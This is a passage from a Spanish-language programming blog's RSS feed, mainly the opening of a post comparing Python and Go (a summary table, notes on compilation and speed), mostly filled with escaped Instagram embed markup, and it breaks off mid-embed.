      <summary>&lt;p&gt;¿Por qué deberías usar Django channels? Porque con Django es imposible crear aplicaciones con comunicación en tiempo real de manera nativa. Django channels le otorga a Django la capacidad manejar protocolos que requieren una conexión persistente, como WebSockets, MQTT, chatbots, mientras mantiene intacta su integración con el sistema de sesiones, autenticación y el resto del framework, volviendo a Django una excelente alternativa para aplicaciones que requieren interactividad y comunicación en tiempo real.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Python vs Go en 2025 ¿Qué lenguaje aprender?</title>
      <link>https://coffeebytes.dev/es/go/python-vs-go-cual-es-el-mejor-lenguaje-de-programacion/</link>
      <pubDate>Tue, 02 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/python-vs-go-cual-es-el-mejor-lenguaje-de-programacion/</guid>
      
      <category>go</category>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Estos últimos meses he estado aprendiendo go. ¿Cómo empezó todo? Pues empezó de una manera bastante superficial; empecé a invesgar sobre el lenguaje porque me encantó su mascota, sí, de verdad fue por eso. Así que tras un breve debate mental sobre los pros y cons del lenguaje, decidí darle una oportunidad. Mi primera impresión de él es que es bastante similar a Python; simple y sencillo de aprender. Ahora que ya lo he usado un poco más te traigo una comparación de Python vs Go, donde explicaré algunas de sus diferencias, por si estás interesado en aprender uno u otro este año.&lt;/p&gt;&#xA;&lt;p&gt;Por cierto, aquí están &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/mis-libros-favoritos-para-aprender-a-programar-en-python/&#34;&gt;mis recursos y libros favoritos para aprender Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-python-vs-lenguaje-go&#34;&gt;TLDR Python vs lenguaje Go&lt;/h2&gt;&#xA;&lt;p&gt;Esta tabla resume el artículo completo, si quieres ahondar en alguna sección en especifico solo sigue haciendo scroll.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Categoría&lt;/th&gt;&#xA;          &lt;th&gt;Go (Golang)&lt;/th&gt;&#xA;          &lt;th&gt;Python&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Tipo&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Compilado, tipado fuerte&lt;/td&gt;&#xA;          &lt;td&gt;Interpretado, tipado dinámico&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Rendimiento&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Extremadamente rápido (ej. prueba de Fibonacci)&lt;/td&gt;&#xA;          &lt;td&gt;Más lento por ser interpretado&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Sintaxis&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Estilo C, usa llaves, no permite variables sin usar&lt;/td&gt;&#xA;          &lt;td&gt;Limpia, basada en indentación, flexible&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Concurrencia&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Goroutines (sencillas y potentes)&lt;/td&gt;&#xA;          &lt;td&gt;Async/await (monohilo, limitado por GIL)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Manejo de errores&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Chequeo manual (&lt;code&gt;if err != nil&lt;/code&gt;), sin try-catch&lt;/td&gt;&#xA;          &lt;td&gt;Bloques try-except tradicionales&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;POO&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Sin clases; usa estructuras que emulan POO&lt;/td&gt;&#xA;          &lt;td&gt;Soporte completo de POO (clases, herencia)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Popularidad&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;En crecimiento, amado por devs (mejores salarios)&lt;/td&gt;&#xA;          &lt;td&gt;Más popular en general, dominante en IA/ciencia de datos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Casos de uso&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;DevOps (Docker, Kubernetes), backends rápidos&lt;/td&gt;&#xA;          &lt;td&gt;Machine learning, scripting, desarrollo web (Django, Flask)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Frameworks&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Rápidos (Echo, Gin), supera a Python en benchmarks&lt;/td&gt;&#xA;          &lt;td&gt;Maduros (Django, FastAPI), ampliamente adoptados&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Paquetes&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;~350k (GitHub), sin repositorio central&lt;/td&gt;&#xA;          &lt;td&gt;~336k (PyPI), ecosistema enorme&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Curva de aprendizaje&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Algo más empinada (diseño opinado)&lt;/td&gt;&#xA;          &lt;td&gt;Más fácil para principiantes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Comunidad&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Pequeña pero apasionada&lt;/td&gt;&#xA;          &lt;td&gt;Enorme, recursos extensos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Ventajas&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Compilación rápida, ideal para concurrencia, convenciones estrictas&lt;/td&gt;&#xA;          &lt;td&gt;Legible, versátil, librerías abundantes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Desventajas&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Manejo de errores controversial, sin genéricos (inicialmente), rígido&lt;/td&gt;&#xA;          &lt;td&gt;Lento, GIL limita hilos, división Python 2/3&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Conclusiones clave:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Elige Go&lt;/strong&gt; para velocidad y rendimiento, concurrencia o DevOps.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Elige Python&lt;/strong&gt; para IA, ciencia de datos o desarrollo rápido.&lt;/li&gt;&#xA;&lt;li&gt;Ambos tienen librerías estándar sólidas pero difieren en filosofía y compensaciones.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;introduccion-y-diferencias-sutiles-entre-python-y-go&#34;&gt;Introducción y diferencias sutiles entre Python y Go&lt;/h2&gt;&#xA;&lt;p&gt;Esta comparación va a ser un poco chapucera, puesto que vamos a comparar; Python, un lenguaje interpretado; y go, un lenguaje compilado. Por lo que ya partimos de diferencias bastante grandes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Python es un lenguaje interpretado e imperativo mientras que Go es un lenguaje compilado, concurrente e imperativo.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/codigo-compilado-vs-interpretado-go-vs-python.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/codigo-compilado-vs-interpretado-go-vs-python.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Go es un lenguaje compilado, mientras que Python es uno interpretado&#34; width=&#34;800&#34; height=&#34;400&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CWoNSL_LNKi&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CWoNSL_LNKi&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;Ya había explicado un poco las diferencias entre un lenguaje interpretado y uno compilado en mi &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/python-vs-javascript-cual-es-el-mejor-para-ti/&#34;&gt;comparación de python vs javascript&lt;/a&gt;&#xA;, por lo que si deseas refrescar un poco tu memoria dirígete ahí.&lt;/p&gt;&#xA;&lt;p&gt;Ambos lenguajes se caracterizan porque la producción de código en ellos es rápida.&lt;/p&gt;&#xA;&lt;p&gt;La &lt;strong&gt;compilación de go es extremadamente rápida&lt;/strong&gt; y, aunque su ejecución podría ser ligeramente más lenta que si usaras C++ o el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/rust/que-hace-al-lenguaje-rust-tan-dificil-de-aprender/&#34;&gt;difícil de aprender Rust&lt;/a&gt;&#xA;, el desarrollo de productos y MVPs debería tomar menos tiempo que con esos lenguajes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cual-es-mas-rapido-python-vs-golang&#34;&gt;¿Cuál es más rápido? Python vs Golang&lt;/h2&gt;&#xA;&lt;p&gt;La comparación aquí va a tornarse algo injusta, pero la haré de todas formas: &lt;strong&gt;Go es descomunalmente más rápido que Python&lt;/strong&gt;. La diferencia anterior se explica porque Go es compilado, mientras que Python interpretado.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/Cp0odG_go1H&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/Cp0odG_go1H&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: 